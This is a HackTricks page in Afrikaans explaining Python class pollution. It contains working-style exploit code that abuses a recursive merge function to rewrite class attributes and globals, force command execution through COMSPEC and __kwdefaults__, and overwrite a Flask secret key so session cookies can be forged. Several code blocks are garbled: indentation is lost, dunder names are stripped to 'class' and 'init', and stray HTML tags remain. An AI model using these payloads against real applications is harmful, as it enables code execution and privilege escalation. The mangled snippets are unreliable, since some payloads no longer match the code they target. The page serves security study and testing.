Class Pollution (Python's Prototype Pollution)

Leer en oefen AWS-hacking: HackTricks Opleiding AWS Red Team Expert (ARTE) Leer en oefen GCP-hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Voorbeeld

Kyk hoe dit moontlik is om klasse van voorwerpe met strings te verontreinig:

class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

Basiese Swakheid Voorbeeld

# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Gadget Voorbeelde

Skep klas eienskap standaard waarde na RCE (subprocess)

```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }

recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"

Create default value for Employee.custom_command

merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"

</details>

<details>

<summary>Vervuiling van ander klasse en globale vars deur <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Willekeurige subproses uitvoering

```python import subprocess, json

class Employee: def init(self): pass

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

Overwrite env var "COMSPEC" to execute a calc

USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

</details>

<details>

<summary>Oorskrywing van <strong><code>__kwdefaults__</code></strong></summary>

**`__kwdefaults__`** is 'n spesiale eienskap van alle funksies, gebaseer op Python [dokumentasie](https://docs.python.org/3/library/inspect.html), dit is 'n "afbeelding van enige verstekwaardes vir **sleutelwoord-alleen** parameters". Om hierdie eienskap te besoedel, stel dit ons in staat om die verstekwaardes van sleutelwoord-alleen parameters van 'n funksie te beheer, dit is die funksie se parameters wat na \* of \*args kom.
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Oorskryf Flask-geheim regoor lêers

Dus, as jy 'n klasvervuiling kan doen oor 'n voorwerp wat in die hoof Python-lêer van die web gedefinieer is, maar waarvan die klas in 'n ander lêer as die hoof een gedefinieer is. Omdat jy in die vorige ladinge __globals__ moet benader om toegang te verkry tot die klas van die voorwerp of metodes van die klas, sal jy in staat wees om die globals in daardie lêer te benader, maar nie in die hoof een nie. Daarom sal jy nie die Flask-program se globale voorwerp kan benader wat die geheime sleutel in die hoofbladsy gedefinieer het nie:

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

In hierdie scenario het jy 'n toestel nodig om deur lêers te navigeer om by die hooflêer te kom om toegang te verkry tot die globale voorwerp app.secret_key om die Flask geheime sleutel te verander en in staat te wees om voorregte te eskaleer deur hierdie sleutel te ken.

'n Nuttige lading soos hierdie een van hierdie skryfstuk:

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

Gebruik hierdie lading om app.secret_key te verander (die naam in jou program mag verskil) om nuwe en meer bevoorregte flask koekies te kan teken.

Kyk ook na die volgende bladsy vir meer slegs lees-toestelle:

Python Internal Read Gadgets

Verwysings

Leer & oefen AWS Hack:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hack: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Last updated